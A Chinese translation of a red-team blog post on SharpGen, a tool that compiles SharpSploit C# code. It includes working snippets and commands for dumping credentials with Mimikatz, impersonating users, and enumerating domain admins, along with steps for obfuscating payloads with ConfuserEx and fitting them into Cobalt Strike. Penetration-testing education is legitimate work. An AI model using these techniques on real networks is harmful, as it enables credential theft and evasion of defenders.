论C#作为攻击语言的操作挑战(下)

丝绸之路 内网渗透 2018年12月24日发布
Favorite收藏

导语:SharpSploitConsole和SharpAttack​它们都可以作为一个独特的控制台应用程序,并可以与SharpSploit中包含的许多不同的方法进行交互。SharpSploitConsole利用了Costura,而SharpAttack利用的是ILMerge。

操作挑战 – 便利性

自一个多月前发布SharpSploit以来,有两个开源项目已经尝试解决便利性这个操作挑战。SharpSploitConsoleSharpAttack都试图以类似但不同的方式解决这个问题。它们都可以作为一个独特的控制台应用程序,并可以与SharpSploit中包含的许多不同的方法进行交互。SharpSploitConsole利用了Costura,而SharpAttack利用的是ILMerge

这两个应用程序都接受了参数作为命令行参数,参数指定了要执行的SharpSploit方法及其参数。这些项目允许我们只编译一次控制台应用程序就可以访问SharpSploit的大部分功能,而无需不断重新编译一个新的控制台应用程序。这是在便利性方面取得的一个巨大胜利,但是,我认为这些方法在灵活性方面仍然存在着一些缺陷。

例如,假设你想使用SharpSploit枚举域中所有的计算机,并找到这些计算机上的本地管理员。那么在使用SharpSploit的自定义控制台应用程序中,你可以执行以下操作:

using SharpSploit.Enumeration;
public class Program {
    static void Main() {
        Console.WriteLine( Net.GetNetLocalGroupMembers(Domain.GetDomainComputers()));
        return;
    }
}

在这种情况下,使用SharpSploitConsoleSharpAttack,你可能必须运行GetDomainComputers()将结果解析为文本,并且在每个计算机名称上运行GetNetLocalGroupMembers()

如果我们想要运行一些自定义的C#代码作为替代用户,比如使用runas.exe。那么在使用SharpSploit的自定义控制台应用程序中,你可以执行以下操作:

using SharpSploit.Credentials;
public class Program {
    static void Main() {
        using (Tokens t = new Tokens())
        {
            string whoami = t.RunAs("Username", ".", "Password123!", ()=>
            {
                return t.WhoAmI();
            });
        }
        Console.WriteLine(whoami);
        return;
    }
}

如果使用SharpSploitConsoleSharpAttack,我不确定这是否可行,因为自定义的C#代码需要编译并作为程序集加载。

使用这些方法需要注意一点,这个问题实际上是SharpSploit本身的错误,就是它们不能与Cobalt Strikeexecute-assembly一起使用。你必须在使用之前去掉嵌入的Mimikatz PE二进制文件才可以与execute-assembly一起使用,因为Cobalt Strike对程序集的文件大小限制为最大1MB。如果不能在Cobalt Strike中通过SharpSploit使用Mimikatz,那将是一件非常糟糕的事。幸运的是,我已经在SharpSploit v1.1中做了一些改变,解决了这个问题,我们将在后面讨论细节。

通过这些方法,我们就可以以可定制的方式将SharpSploit作为库来使用从而获得便利性。接下来,我们将介绍操作挑战中的灵活性。

操作挑战 – 灵活性

使用像C#这样的编译语言与使用像PowerShell这样的解释型语言之间存在着关键的操作差异。为了实现这一改变我们失去了相当多的灵活性。使用脚本语言,我们可以快速的编辑脚本,而无需担心编译所需的额外步骤。如果没有PowerShell,我们将无法使用Pipline的功能,也不能使用内置的cmdlet组合工具集和快速过滤文本以及格式化输出,如Select-ObjectFormat-List

如果使用C#,则没有一种本地方法可以将一个工具的输出通过管道作为另一个工具的输入。也没有一种本地方法可以对已编译的可执行文件进行编辑。为了帮助恢复这种灵活性,我编写了一个名为SharpGen的工具,该工具将在本文的剩余章节中进行描述。

SharpGen

为了尝试应对灵活性这个操作挑战,我创建了一个名为SharpGen.NET Core控制台应用程序。SharpGen利用了Roslyn C#编译器从而可以快速完成.NET 框架控制台应用程序或库的交叉编译。.NET Core使得SharpGen实现了跨平台,因此,渗透测试人员可以从他们所喜欢的任何操作系统中使用SharpGen

请记住,操作挑战的便利性问题的产生是由于必须在Visual Studio中不断创建新的控制台应用程序,然后添加引用,之后使用CosturaILMerge嵌入引用。针对灵活性这个操作挑战,SharpGen是通过像执行单个命令那样一键创建新的控制台应用程序来快速的解决了这一挑战,并带来了一些额外的好处。

基本用法

SharpGen最基本的用法是你需要为SharpGen提供一个输出文件名和一行你想要执行的C#代码。SharpGen将生成一个能够执行单行代码的.NET 框架控制台应用程序。例如:

[email protected]:~/SharpGen > dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe "Console.WriteLine(Mimikatz.LogonPasswords());"
[+] Compiling source:
using System;
using System.IO;
using System.Text;
using System.Linq;
using System.Security.Principal;
using System.Collections.Generic;
using SharpSploit.Credentials;
using SharpSploit.Enumeration;
using SharpSploit.Execution;
using SharpSploit.LateralMovement;
using SharpSploit.Generic;
using SharpSploit.Misc;
public static class jZTyloQN2SU4
{
    static void Main()
    {
        Console.WriteLine(Mimikatz.LogonPasswords());
    return;
    }
}
[+] Compiling optimized source:
using System;
using SharpSploit.Credentials;
public static class jZTyloQN2SU4
{
    static void Main()
    {
        Console.WriteLine(Mimikatz.LogonPasswords());
    return;
    }
}
[*] Compiled assembly written to: /Users/cobbr/SharpGen/Output/example.exe

上面的示例中生成了一个.NET 框架控制台应用程序名为example.exe,该应用程序执行Mimikatz模块的 sekurlsa::logonpasswords并将输出显示到屏幕上。

使用SharpGen时,应始终将你想要执行的C#单行代码指定为最后的无参数名称的命令行参数。但是,你也可以指定一个要读取的源代码文件。因为,你可能有一些不适合在单行代码中实现的逻辑,或者你可能无法在命令行上转义引号。那么在这种情况下,SharpGen支持使用–source-file命令行参数从文件中读取你要执行的代码。

[email protected]:~/SharpGen > cat example.txt
string whoami = Shell.ShellExecute("whoami");
if (whoami == "SomeUser")
{
    Console.WriteLine(Mimikatz.LogonPasswords());
}
[email protected]:~/SharpGen > dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe --source-file example.txt
...
[*] Compiled assembly written to: /Users/cobbr/SharpGen/Output/example.exe

或者,你可以使用预定义的类作为指定的源代码文件,并使用Main函数完成执行:

[email protected]:~/SharpGen > cat example.txt
using System;
using SharpSploit.Execution;
using SharpSploit.Credentials;
class Program
{
    static void Main()
    {
        string whoami = Shell.ShellExecute("whoami");
        if (whoami == "SomeUser")
        {
            Console.WriteLine(Mimikatz.LogonPasswords());
        }
        return;
    }
}
[email protected]:~/SharpGen > dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe --source-file example.txt
...
[*] Compiled assembly written to: /Users/cobbr/SharpGen/Output/example.exe

这些都是有关于这个工具的基础知识。下面是完整的命令行用法信息:

[email protected]:~/SharpGen > dotnet bin/Debug/netcoreapp2.1/SharpGen.dll -h    
Usage:  [options]    
Options:    
-? | -h | --help                                     Show help information    
-f | --file <OUTPUT_FILE>                            The output file to write to.    
-d | --dotnet | --dotnet-framework <DOTNET_VERSION>  The Dotnet Framework version to target (net35 or net40).    
-o | --output-kind <OUTPUT_KIND>                     The OutputKind to use (console or dll).    
-p | --platform <PLATFORM>                           The Platform to use (AnyCpy, x86, or x64).    
-n | --no-optimization                               Don't use source code optimization.    
-a | --assembly-name <ASSEMBLY_NAME>                 The name of the assembly to be generated.    
-s | --source-file <SOURCE_FILE>                     The source code to compile.    
-c | --class-name <CLASS_NAME>                       The name of the class to be generated.    
--confuse <CONFUSEREX_PROJECT_FILE>                  The ConfuserEx ProjectFile configuration.

接下来我们将深入探讨SharpGen的一些内部工作原理的细节以及其他的一些用法。

中级用法

要了解SharpGen的工作原理,先让我们快速浏览一下项目的目录结构:

--> SharpGen
  |---> Source              // Generated binaries will be compiled against all source code under this directory
      |---> SharpSploit             // SharpSploit source code
  |---> References          // Generated binaries will references DLLs listed under this directory during compilation
      |---> references.yml          // References configuration file that directs SharpGen on which DLLs to reference during compilation
      |---> net35                   // Directory for .NET Framework 3.5 references DLLs
      |---> net40                   // Directory for .NET Framework 4.0 references DLLs
  |---> Resources           // Generated binaries will embed resources under this directory during compilation
      |---> resources.yml           // Resources configuration file that directs SharpGen on which resources to embed in generated binaries
      |---> powerkatz_x64.dll       // Mimikatz 64-bit dll
      |---> powerkatz_x64.dll.comp  // Mimikatz 64-bit dll, compressed using the built-in System.IO.Compression library
      |---> powerkatz_x86.dll       // Mimikatz 32-bit dll
      |---> powerkatz_x86.dll.comp  // Mimikatz 32-bit dll, compressed using the built-in System.IO.Compression library
  |---> confuse.cr          // ConfuserEx project file, used to (optionally) protect generated binaries with ConfuserEx
  |---> Output              // Generated binaries will be written under the Output directory.
  |---> SharpGen.csproj     // SharpGen Project file
  |---> Dockerfile          // Used to execute SharpGen from a docker container!
  |---> bin                 // SharpGen binaries
  |---> obj                 // SharpGen obj folder
  |---> refs                // SharpGen references
  |---> src                 // SharpGen source

你需要特别关注SourceReferencesResources目录,因为这些驱动了SharpGen的核心功能。放置在Source文件夹下的所有源代码将作为源编译到单个程序集中。因为它是作为源编译的,所以无需担心组合程序集或将它们嵌入为资源时出现问题。默认情况下,SharpSploit的源代码包含在Source目录中,便于编译SharpSploit。然而,SharpGen构建的方式,使得任何代码库都可以放置到该文件夹中并被包括在程序内。

例如,我们可以将GhostPack SharpWMI源代码(稍作了修改)放入Source文件夹中并对其进行编译:

[email protected]:~/SharpGen > cp -r ~/GhostPack/SharpWMI/SharpWMI ./Source
[email protected]:~/SharpGen > cat example.txt
SharpWMI.Program.LocalWMIQuery("select * from win32_service");
Console.WriteLine(Host.GetProcessList());
[email protected]:~/SharpGen > dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe --source-file example.txt
...
[*] Compiled assembly written to: /Users/cobbr/SharpGen/Output/example.exe

这个特性能够使我们从单个程序集中调用SharpWMISharpSploit的方法!能够放入其他库并快速编译出组合后的库文件可能是SharpGen中我最喜欢的一个功能。我确实需要对SharpWMI进行一些小的修改才能使其正常工作。因为有了这个功能,所以我特别希望看到新的由C#实现的攻击性工具集能作为库文件输出,从而可以在默认情况下利用工具集组合的功能,而无需自定义。

你可以在References目录下配置程序集引用。通过将引用放在相应的目录中并在references.yml配置文件中进行配置,就可以将引用应用于.net35.net40程序集。references.yml配置文件提供了选项的默认值,但你可能需要设置为自定义的值。例如,如果添加其他源代码作为一个引用,则需要在配置中添加这个引用。

或者,你很清楚的知道你不需要特定的引用。举例来说,你清楚的知道你不需要执行任何PowerShell或者你只是要检测System.Management.Automation.dll的ImageLoad事件。SharpSploit默认包含了 System.Management.Automation.dll引用,但如果你不打算使用SharpSploit.Execution.Shell.PowerShellExecute()方法,则可以删除。这时,你可以通过在references.yml 文件中设置references.ymlEnabled: false来简单地禁用配置中的System.Management.Automation.dll引用:

- File: System.Management.Automation.dll
  Framework: Net35
  Enabled: false

如果你的渗透测试环境是.NET framework v4.0,请务必同时禁用Net40引用!

如果你打算将SharpGen创建的程序集与Cobalt Strike的 execute-assembly命令一起使用,你需要注意Resources目录。execute-assembly命令会限制程序集的文件大小为最大1MB。SharpSploit默认嵌入了x86和x64 Mimikatz二进制文件,导致它超过了1MB的限制。你有几个方法来解决这个限制:

1.如果你不打算使用任何Mimikatz方法,则可以安全地禁用resources.yml配置文件中的Mimikatz嵌入式资源,这将大大缩小你的二进制文件大小。为此,只需将资源配置切换为Enabled: false:

- Name: SharpSploit.Resources.powerkatz_x86.dll
  File: powerkatz_x86.dll
  Platform: x86
  Enabled: false
- Name: SharpSploit.Resources.powerkatz_x64.dll
  File: powerkatz_x64.dll
  Platform: x64
  Enabled: false

2.如果你打算使用Mimikatz方法,你需要确认你真的需要Mimikatzx86x64副本吗?如果不需要,那么你只需嵌入你所需要的平台资源即可。有两种方法可以做到这一点:

2a. 你可以通过命令行参数根据平台过滤资源。这应该会让应用程序的大小小于1MB

[email protected]:~/SharpGen > dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe --platform x64 "Console.WriteLine(Mimikatz.LogonPasswords());"

2b. 你也可以像我们之前那样简单地禁用配置文件resources.yml中不需要的资源:

- Name: SharpSploit.Resources.powerkatz_x86.dll    
File: powerkatz_x86.dll    
Platform: x86    
Enabled: false    
- Name: SharpSploit.Resources.powerkatz_x64.dll    
File: powerkatz_x64.dll    
Platform: x64    
Enabled: true

3.为了进一步缩小二进制文件的大小,你可以嵌入压缩过的Mimikatz资源,而不是默认的资源,然后由SharpSploit支持和处理。你可以使用内置的库System.IO.Compression压缩,这个库的压缩效率不是很高,不能将你要嵌入的x64x86资源压缩到小于1MB的大小,但仍然可以显着减少二进制大小。这可以通过在配置文件resources.yml中启用压缩资源和禁用未压缩资源使用来完成:

- Name: SharpSploit.Resources.powerkatz_x86.dll    
File: powerkatz_x86.dll    
Platform: x86    
Enabled: false    
- Name: SharpSploit.Resources.powerkatz_x64.dll    
File: powerkatz_x64.dll    
Platform: x64    
Enabled: false    
- Name: SharpSploit.Resources.powerkatz_x86.dll.comp    
File: powerkatz_x86.dll.comp    
Platform: x86    
Enabled: true    
- Name: SharpSploit.Resources.powerkatz_x64.dll.comp    
File: powerkatz_x64.dll.comp    
Platform: x64    
Enabled: true

4.为了使用Mimikatz并嵌入x64x86资源,同时将文件大小保持在1MB的限制之下有个更为强大的方法是使用ConfuserEx资源保护,它使用了更高效的压缩算法。我们将在高级用法部分对此进行讨论。

高级用法

SharpGen支持使用ConfuserEx,它是.NET应用程序的一个开源保护程序。我所熟悉的原始的ConfuserEx可以在这里找到。我发现ConfuserEx项目已被创建了新的分支并维护在一个新的位置,因为最初的项目已经废弃。当我意识到新的ConfuserEx支持.NET Core时,我更加兴奋了!这使得我们可以从SharpGen中执行自动保护并且混淆我们的二进制文件,从而为.NET 框架程序执行交叉编译!

SharpGen包含了默认的ConfuserEx项目文件,可以使用confuse.cr或者使用其他的ConfuserEx规则进行自定义,并可以通过下面的命令行参数使用:

[email protected]c:~/SharpGen > dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe --confuse confuse.cr "Console.WriteLine(Mimikatz.LogonPasswords());"
...
[+] Confusing assembly...
 [INFO] Confuser.Core 1.1.0-alpha1.52+gfe12a44191 Copyright © 2014 Ki, 2018 Martin Karing
 [INFO] Running on Unix 17.5.0.0, .NET Framework v4.0.30319.42000, 64 bits
[DEBUG] Discovering plugins...
 [INFO] Discovered 10 protections, 1 packers.
[DEBUG] Resolving component dependency...
 [INFO] Loading input modules...
 [INFO] Loading 'example.exe'...
 [INFO] Initializing...
[DEBUG] Building pipeline...
 [INFO] Resolving dependencies...
[DEBUG] Checking Strong Name...
[DEBUG] Creating global .cctors...
[DEBUG] Watermarking...
[DEBUG] Executing 'Name analysis' phase...
[DEBUG] Building VTables & identifier list...
[DEBUG] Analyzing...
 [INFO] Processing module '5b5xa4qx.14e.exe'...
[DEBUG] Executing 'Invalid metadata addition' phase...
[DEBUG] Executing 'Renaming' phase...
[DEBUG] Renaming...
[DEBUG] Executing 'Anti-debug injection' phase...
[DEBUG] Executing 'Anti-dump injection' phase...
[DEBUG] Executing 'Anti-ILDasm marking' phase...
[DEBUG] Executing 'Encoding reference proxies' phase...
[DEBUG] Executing 'Constant encryption helpers injection' phase...
[DEBUG] Executing 'Resource encryption helpers injection' phase...
[DEBUG] Executing 'Constants encoding' phase...
[DEBUG] Executing 'Anti-tamper helpers injection' phase...
[DEBUG] Executing 'Control flow mangling' phase...
[DEBUG] Executing 'Post-renaming' phase...
[DEBUG] Executing 'Anti-tamper metadata preparation' phase...
[DEBUG] Executing 'Packer info extraction' phase...
 [INFO] Writing module '5b5xa4qx.14e.exe'...
[DEBUG] Encrypting resources...
 [INFO] Finalizing...
[DEBUG] Saving to '/Users/cobbr/Projects/bitbucket/SharpGen/Output/example.exe'...
[DEBUG] Executing 'Export symbol map' phase...
 [INFO] Done.
Finished at 5:03 PM, 0:02 elapsed.
[*] Compiled assembly written to: /Users/cobbr/SharpGen/Output/example.exe

默认的confuse.cr文件仅包含启用资源保护的单个规则。ConfuserEx资源保护会对嵌入的资源执行加密和LZMA压缩。LZMA压缩是一种优于System.IO.Compression的更有效的压缩算法,由SharpGen中包含的powerkatz*.dll.comp文件执行压缩。这种更有效的压缩允许我们将两个Mimikatz二进制文件嵌入到编译的二进制文件中后,仍然可以将文件大小保持在 Cobalt Strike 的 execute-assembly 所限制的1MB以下!不过有个重要的警告是,在使用此技术时应该嵌入非压缩版本的资源,因为先前压缩过的文件再压缩一次几乎不起作用。

除资源保护外,confuse.cr还可以使用其他的ConfuserEx规则来修改项目文件。为了便于使用,默认包含了许多其他规则,可以通过去掉注释来启用:

<project baseDir="{0}" outputDir="{1}" xmlns="http://confuser.codeplex.com">
    <module path="{2}">
      <rule pattern="true" inherit="false">
         <!-- <protection id="anti debug" />       -->
         <!-- <protection id="anti dump" />        -->
         <!-- <protection id="anti ildasm" />      -->
         <!-- <protection id="anti tamper" />      -->
         <!-- <protection id="constants" />        -->
         <!-- <protection id="ctrl flow" />        -->
         <!-- <protection id="invalid metadata" /> -->
         <!-- <protection id="ref proxy" />        -->
         <!-- <protection id="rename" />           -->
         <protection id="resources" />
      </rule>
    </module>
</project>

有关可用的ConfuserEx保护的更多信息,可以参考ConfuserEx Wiki文档

另外一个需要注意的SharpGen的特性是,SharpGen会试图通过删除未使用的类型来优化你的源代码。这样做是为了缩小最终生成的二进制文件的大小,这也会用于隐身。如果没有必要则没有理由在你的程序集中包含Mimikatz和加载PE的源代码!如果要在Source文件夹下添加许多库文件,这将变得更加有用,因为你不需要将每个库进行编译然后再添加引用。

SharpGen对编译期间的优化非常透明,并且在编译时始终会打印原始源代码和优化后的源代码。

这种优化目前来看似乎运行良好,当然,在自动执行源代码修改时总是存在着破坏的风险。因此,如果你遇到了由于优化而引发的问题,你可以随时使用–no-optimization命令行参数禁用优化(请注意,这可能会增加你的二进制文件的大小!):

[email protected]:~/SharpGen > dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe --no-optimization "Console.WriteLine(Mimikatz.LogonPasswords());"
...
[*] Compiled assembly written to: /Users/cobbr/SharpGen/Output/example.exe

未来的一点补充

巧合的是,在上周有人发布了一个名为SharpCompile工具,这与SharpGen有一些类似但也有一些差异,我鼓励大家自行对比一下。我认为SharpCompile最酷的方面是包含了一个会在后台处理所有的编译过程的攻击者脚本,所以你永远不必离开Cobalt Strike界面去自己动手编译文件!

我希望为SharpGen添加一个类似的功能,它可以处理后台的所有编译过程,否则用户就不得不离开Cobalt Strike界面来自己动手生成新的程序集。所以希望在不久的将来我可以将这个功能添加到SharpGen

结论

在攻击过程中使用C#是令人兴奋的,但也带来了一系列操作挑战,特别是在将工具集输出为库文件时。就个人而言,我很乐意看到其他开源工具集能发布为一个用户可以自己选择前端控制台应用程序界面的库文件,这将为我们提供两全其美的优势。

这些操作挑战的解决方案必须选择一种执行方法,同时需要平衡对便利性和灵活性的需求。SharpGen是我对这种平衡所提出的解决方案,我希望其他人也能认为它很有用。但其他可行的解决方案,如SharpSploitConsoleSharpAttackSharpCompile也确实有效,我相信将来也会出现其他的解决方案。我鼓励读者多多思考这些操作挑战,并为正确的用例挑选合适的工具。

致谢

SharpGen使用了几个我想要为之点赞的开源库:

· Roslyn  - SharpGen使用了Roslyn C#编译器以及由微软开发的Microsoft.CodeAnalysis.CSharp

· CommandLineUtils  - SharpGen使用了由Nate McMaster编写的McMaster.Extensions.CommandLineUtils库用于解析命令行参数。

· ConfuserEx  - SharpGen有选择的使用了ConfuserEx进行程序集保护和混淆,最初由yck1509编写,现在由mkaring维护。

· dnlib  - ConfuserEx本身使用了dnlib,一个由0xd4d编写的开源.NET程序集读写

· YamlDotNet  - SharpGen使用YamlDotNet解析YAML配置文件,YamlDotNet是一个用于解析YAML的开源.NET库,由aaubry编写。

我还要感谢本文中提到的其他一些开源项目:

· SharpAttack  - SharpAttackSharpSploit的开源控制台应用程序前端,利用ILMerge实现,由Jared Haight编写。

· SharpSploitConsole  - SharpSploitConsoleSharpSploit的一个开源控制台应用程序前端,它利用Costura并由anthemtotheegog0ldengunsec编写

· SharpCompile  - 一个自动化实现.NET编译的解决方案,它利用了攻击者脚本以及一个利用了csc.exeHTTP服务器。

· Costura  - Costura将引用程序集作为资源嵌入程序。

· ILMerge  - ILMerge是一个.NET程序集的静态链接器,由Mike Barnett编写并由微软维护。

最后,我建议读者参考一些额外的资源:

· AssemblyResolve -  https://blogs.msdn.microsoft.com/microsoft_press/2010/02/03/jeffrey-richter-excerpt-2-from-clr-via-c-third-edition/

· 关于AssemblyResolve 的更多信息-  https://jimshaver.net/2018/02/22/net-over-net-breaking-the-boundaries-of-the-net-framework/

· System.Reflection文档 -  https://docs.microsoft.com/en-us/dotnet/framework/reflection-and-codedom/reflection

本文翻译自:https://posts.specterops.io/operational-challenges-in-offensive-c-355bd232a200如若转载,请注明原文地址: http://www.4hou.com/penetration/15191.html
点赞 0
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论